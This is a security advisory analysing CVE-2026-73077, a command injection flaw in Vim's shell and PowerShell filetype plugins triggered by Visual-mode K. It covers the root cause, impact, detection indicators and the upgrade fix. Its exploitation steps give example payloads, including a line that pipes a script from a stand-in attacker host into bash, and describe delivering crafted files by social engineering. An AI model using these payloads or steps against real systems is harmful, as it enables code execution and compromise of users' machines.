CVE-2026-73077: 
Vim vulnerability analysis and mitigation

CVE-2026-73077 is an OS command injection vulnerability in Vim's shell filetype plugins that allows arbitrary code execution via crafted Visual-mode selections. Affecting Vim versions prior to 9.2.0839, the flaw exists in runtime/ftplugin/sh.vim, runtime/ftplugin/zsh.vim, and runtime/ftplugin/ps1.vim. It was reported by GitHub user @manus-use, disclosed on July 23, 2026, and fixed in Vim 9.2.0839. The vulnerability carries a CVSS v3.1 base score of 7.3 (High) and a CVSS v4.0 base score of 8.4 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of special elements used in an OS command (CWE-78). When a buffer's filetype resolves to sh, bash, zsh, or PowerShell, the respective filetype plugin defines a keywordprg command (e.g., ShKeywordPrg, ZshKeywordPrg, GetHelp) that interpolates user-supplied text directly into a shell command string such as bash -c "help <arg>". Because keywordprg values beginning with : are escaped using fnameescape() / PATH_ESC_CHARS rather than SHELL_ESC_CHARS, shell metacharacters like ;, &, (, ), and > are not neutralized before being passed to bash, zsh, or PowerShell. In Visual mode, the K key passes the entire selection verbatim — preserving any embedded metacharacters — whereas Normal mode restricts the argument to iskeyword characters, making it unexploitable in that context. The fix (commit c5a82fe) passes arguments as a list to term_start() or system(), bypassing shell interpolation entirely (GitHub Advisory, Fix Commit).

Successful exploitation allows arbitrary operating-system commands to execute with the full privileges of the user running Vim, resulting in high confidentiality, integrity, and availability impact. An attacker who can place a crafted file in front of a victim (e.g., via a malicious shell script in a shared repository or delivered via social engineering) can achieve local code execution once the victim opens the file, selects the crafted text in Visual mode, and presses K. This could enable data exfiltration, persistence mechanisms, or further lateral movement within the user's environment (GitHub Advisory, Red Hat Bugzilla).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.0014 (0.14%), reflecting low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — specifically, the victim must open a crafted file with an applicable filetype, select malicious text in Visual mode, and press K — which limits opportunistic exploitation (GitHub Advisory, Feedly).

1. Craft a malicious file: Create a shell script (.sh, .zsh) or PowerShell script (.ps1) containing a line with embedded shell metacharacters, e.g., legitimate_command; curl http://attacker.com/shell.sh | bash or foo$(id > /tmp/pwned).
2. Deliver the file to the victim: Distribute the crafted file via a shared repository, email attachment, or other social engineering vector, targeting users who edit shell or PowerShell scripts in Vim.
3. Wait for victim to open the file in Vim: The file must be opened in Vim with filetype plugins enabled (the default), causing sh.vim, zsh.vim, or ps1.vim to load and set the malicious keywordprg.
4. Trigger Visual-mode keyword lookup: The victim selects the crafted line (or portion containing metacharacters) in Visual mode and presses K, invoking ShKeywordPrg, ZshKeywordPrg, or GetHelp.
5. Achieve code execution: The unescaped shell metacharacters in the selection are passed verbatim to bash -c, zsh -c, or PowerShell -Command, causing the injected commands to execute with the privileges of the Vim user (GitHub Advisory, Fix Commit).

• Process: Unexpected child processes spawned by Vim (e.g., bash, zsh, pwsh) executing commands unrelated to help or man lookups; processes with suspicious arguments such as curl, wget, nc, or reverse shell commands.
• File System: Unexpected files created in /tmp or the user's home directory shortly after Vim usage; new cron jobs, .bashrc modifications, or SSH authorized_keys changes made by the Vim process.
• Network: Outbound connections from the user's workstation to unknown external IPs or domains initiated by shell processes spawned from Vim.
• Logs: Shell history entries or audit logs showing commands executed via bash -c or zsh -c with unusual arguments corresponding to Vim session times; auditd records of execve calls from Vim's process tree involving unexpected binaries.

Upgrade Vim to version 9.2.0839 or later, which fixes the issue by passing keyword arguments as a list to term_start() or system() rather than interpolating them into a shell command string (Fix Commit). As a workaround, users can disable filetype plugins entirely (:filetype plugin off) or unset the keywordprg for affected filetypes in their Vim configuration (e.g., autocmd FileType sh,zsh,ps1 setlocal keywordprg=man). Users should also exercise caution when opening untrusted shell or PowerShell scripts and avoid using Visual-mode K on unfamiliar content (GitHub Advisory, Red Hat Bugzilla).

The Vim project rated the severity as "Moderate" in its GitHub Security Advisory, noting that Normal-mode K is unaffected and exploitation requires deliberate user interaction with crafted text. Red Hat triaged the issue as "High" severity in its Bugzilla tracker. No significant broader media coverage or notable researcher commentary beyond the official advisory has been identified at this time (GitHub Advisory, Red Hat Bugzilla).